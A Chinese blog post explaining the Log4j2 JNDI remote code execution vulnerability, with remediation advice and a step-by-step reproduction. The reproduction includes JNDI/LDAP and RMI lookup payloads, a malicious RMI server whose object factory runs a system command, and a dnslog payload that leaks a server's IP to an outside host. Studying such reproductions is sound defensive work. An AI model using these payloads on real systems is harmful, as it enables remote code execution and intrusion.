一、背景

近日,知名sl4j日志规范的实现框架log4j2被爆出巨大漏洞,可被黑客利用JNDI机制来执行非法命令、拉取远程代码执行,获取非法服务器权限等,不幸的是很多知名框架也用了log4j2,我们熟知的就有Apache Struts2、Apache Solr、Apache Druid、Apache Flink…

相信很多互联网厂此刻正瑟瑟发抖,紧急修复。

国家网络应急中心也紧急发布了处理意见:关于Apache Log4j2存在远程代码执行漏洞的安全公告

罪魁祸首是Apache Log4j2、2.0 - 2.15.0-rc1这个两个版本,比如你的项目中有org.apache.logging.log4j:log4j-core:jar:2.14.1,那就赶紧去修复吧。

导致该问题的原因是log4j2支持jndi的lookup

很多服务使用了log4j2框架,并且打了API入参日志、三方交互日志等,正在被黑客与攻击者拿去搞事情,目前很多安全厂商都给出了替换版本、修改JVM启动参数、日志格式配置文件等的低成本解决办法,不过这里我还是觉得全面移除掉log4j2(可换成logback)比较保险,并且只要是基于sl4j规范来开发的,替换成本也是相当的低!

二、复现方法

下面以springboot服务为例:

log4j2框架maven依赖:
   <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><exclusions><!-- 去掉springboot默认配置 --><exclusion><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-logging</artifactId></exclusion></exclusions></dependency><dependency> <!-- 引入log4j2依赖 --><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-log4j2</artifactId></dependency></dependencies>
log4j2.xml配置:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN"><Appenders><!--控制台日志--><Console name="stdout" target="SYSTEM_OUT"><PatternLayout pattern="%date{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"/></Console><!--文件日志--><File name="file" fileName="logs/test.log" append="false"><PatternLayout pattern="%date{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"/></File></Appenders><Loggers><Root level="info"><AppenderRef ref="file"/><AppenderRef ref="stdout"/></Root></Loggers></Configuration>

application.yml配置:


logging:config: classpath:log4j2.xml

测试方法:

public class Main {private static final Logger logger = LoggerFactory.getLogger(Main.class);public static void main(String[] args) {logger.info("username is:{}", "${java:os}");logger.info("${jndi:ldap://127.0.0.1:1389/#Exploit}");logger.error("${}", "jndi:ldap://127.0.0.1:1389/#Exploit");logger.error("{}", "${jndi:ldap://127.0.0.1:1389/#Exploit}");}
}

这里如果是调用的:jndi:rmi://xxx,那么可以实现用户输入信息后,利用RMI远程调用来调用黑客远程的代码,到服务本机来执行(黑客可以再编写一个api回调信息、也可以执行一些Runtime命令),这就非常危险了。

之前是在log4j2的2.15.0以前的版本,都有该漏洞官方收到反馈后,紧急发布了: 2.15.0-rc1版本,后面此版本被黑客成功绕过,故官方又重新发布了2.15.0-rc2版本。

下面我们演示一下黑客利用RMI的操作:

1、首先编写远程类:

public class RmiServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1111);Reference reference = new Reference("com.test.EvilObj", "com.test.EvilObj", null);ReferenceWrapper wrapper = new ReferenceWrapper(reference);registry.rebind("evil", wrapper);System.out.println("RMI服务已经启动....");}}
public class EvilObj {static {System.out.println("一段代码执行了...");}
}

2、通过log2j漏洞,远程调用(相当于被攻击服务拉取黑客代码到本地执行)

public class Main {private static final Logger logger = LoggerFactory.getLogger(Main.class);public static void main(String[] args) {String username = "${jndi:rmi://127.0.0.1:1111/evil}";logger.info("username is:{}", username);}
}


例如我们这里打开计算器:

public class EvilObj extends UnicastRef implements ObjectFactory {//    static {//
//    }public EvilObj() {System.out.println("构造方法被执行了");}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {openCalc();return new EvilObj();}private void openCalc() {try {System.out.println("工厂方法已经执行");Runtime.getRuntime().exec("open /Applications/Calculator.app");} catch (IOException e) {e.printStackTrace();}}
}

本质原因:javax.naming.spi.NamingManager类中getObjectFactoryFromReference方法中clas.newInstance()为罪魁祸首。

static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)throws IllegalAccessException,InstantiationException,MalformedURLException {Class<?> clas = null;// Try to use current class loadertry {clas = helper.loadClass(factoryName);} catch (ClassNotFoundException e) {// ignore and continue// e.printStackTrace();}// All other exceptions are passed up.// Not in class path; try to use codebaseString codebase;if (clas == null &&(codebase = ref.getFactoryClassLocation()) != null) {try {clas = helper.loadClass(factoryName, codebase);} catch (ClassNotFoundException e) {}}return (clas != null) ? (ObjectFactory) clas.newInstance() : null;}

利用dnslog,还可以获取IP

http://dnslog.cn/

例如:ibfx5p.dnslog.cn
1、黑客首先再dnslog获取一个临时地址

2、再注入:${jndi:ldap://ibfx5p.dnslog.cn}

题外话

新技术的固然有性能更好等特点,不过在使用的时候最好也还是等它稳定一段时间再用,springboot官方配置的实现框架是logback,目前还没有爆出什么大的漏洞。

Log4j2最近被爆出巨大漏洞相关推荐

  1. 最广泛使用的服务器软件爆出网络安全漏洞

    软件代码有严重缺陷,从企业到国防部都可能被骇- 网络安全研究人员表示,服务器软件「Log4j」藏有程序漏洞,是近年来发现的一个最大信息安全风险. 服务器爆出网络安全漏洞 世界各地的政府与企业上周末赶紧 ...

  2. Tomcat 爆出高危漏洞及修复

    今天跟大家分享Tomcat 爆出高危漏洞及修复的知识. 1 Tomcat 爆出高危漏洞及修复 1.1 漏洞背景 2020年02月20日, 360CERT 监测发现 国家信息安全漏洞共享平台(CNVD) ...

  3. Apache Log4j2远程JNDI代码执行漏洞修复

    #漏洞简介 Apache Log4j2远程代码执行漏洞 当打印的日志含有${字符串时程序会使用lookup解析要打印的字符串,执行任意远程代码,框架没有做相应的过滤导致注入.官网已经在2.16.0(j ...

  4. Tomcat 又爆出高危漏洞!Tomcat 8.5~10 中招…

    作者 | 栈长 来源 | Java技术栈 开源界最近很热闹啊,各个主流软件或框架漏洞频发,比如像 Struts2.FastJSON.Dubbo.Redis.Tomcat 等都存在各种各样的漏洞. 不要 ...

  5. Apache Log4j2 远程代码执行高危漏洞 解决方案

    新闻:https://view.inews.qq.com/a/20211210A05KTY00 博主其他文章 Log4j2 高危漏洞分析 简介: Apache Log4j2是一款优秀的Java日志框架 ...

  6. Tomcat 爆出高危漏洞!

    点击上方"方志朋",选择"设为星标" 回复"666"获取新整理的面试文章 一.漏洞背景 安全公告编号:CNTA-2020-0004 2020 ...

  7. Dubbo爆出严重漏洞!可导致网站被控制、数据泄露!附解决方案

    点击上方"朱小厮的博客",选择"设为星标" 后台回复"加群"获取公众号专属群聊入口 来源:rrd.me/ganFt 2020年2月13日,华 ...

  8. Tomcat爆出高危漏洞

    作者:Hu3sky@360CERT 原文链接:https://www.anquanke.com/post/id/199448#h2-0 0x01 漏洞背景 2020年02月20日, 360CERT 监 ...

  9. fastjson 判断是否包含_Fastjson爆出重大漏洞,攻击者可使整个业务瘫痪

    360网络安全响应中心 https://cert.360.cn/warning/detail?id=82a509e4543433625d6fe4361b5802c9 报告编号:B6-2019-0905 ...

最新文章

  1. Postgresql 日志收集
  2. 作为HTC在MWC2012移动世界大会上推出的全新系列产品。
  3. wxWidgets:wxHeaderCtrl类用法
  4. 程序员数学基础【七、等比数列 棋盘麦粒】
  5. Mysql基本用法-left join、right join、 inner join、子查询和join-02
  6. Asterisk Queue呼叫中心的实现
  7. Android断点续传下载器JarvisDownloader
  8. Vector Math for 3D Computer Graphics
  9. 一道装呀(状压)DP
  10. Xocde一次版本升级遇到的问题 (Code Sign Error)
  11. iOS:跳转设置界面,权限相关,UIApplicationOpenSettingsURLString的使用
  12. C语言实现查找一组数中的众数
  13. 软件工程 部分术语英文缩写
  14. 松下PLC REXT总线伺服案例 本案例采用松下FPXH系列的总线型 PLC和松下总线伺服共8轴的系统
  15. Ubuntu16.04安装百度网盘亲测可用
  16. js模板引擎渲染html,JavaScript模板引擎 art-template.js 的使用
  17. 国产操作系统要起来?自主银河麒麟V10发布!
  18. 【技术科普】支持H.265视频网页Web播放的EasyPlayer.js设计理念与功能计划
  19. HTML.初学.更新
  20. 中学学生成绩管理系统

热门文章

  1. 【蓝桥杯】历届试题 数字游戏(C++)
  2. 露珠谷如何改变了我的生活
  3. 实战教程 | 用让新海诚本人惊讶的 AI 模型制作属于你的动漫视频
  4. xPad该歇了,我们需要的只是小尺寸触控显示器
  5. Android Studio自带apk签名工具——apksigner
  6. SEO是什么意思?seo入门者必读
  7. 摄像头CMOS CCD
  8. %f在c语言中是什么意思,在C语言中,%d,%c,%f都是什么意思,请详细的说一下,谢谢了...
  9. Sanity Testing 和 Smoke Testing的区别
  10. iOS适配之autolayout和sizeclass(二)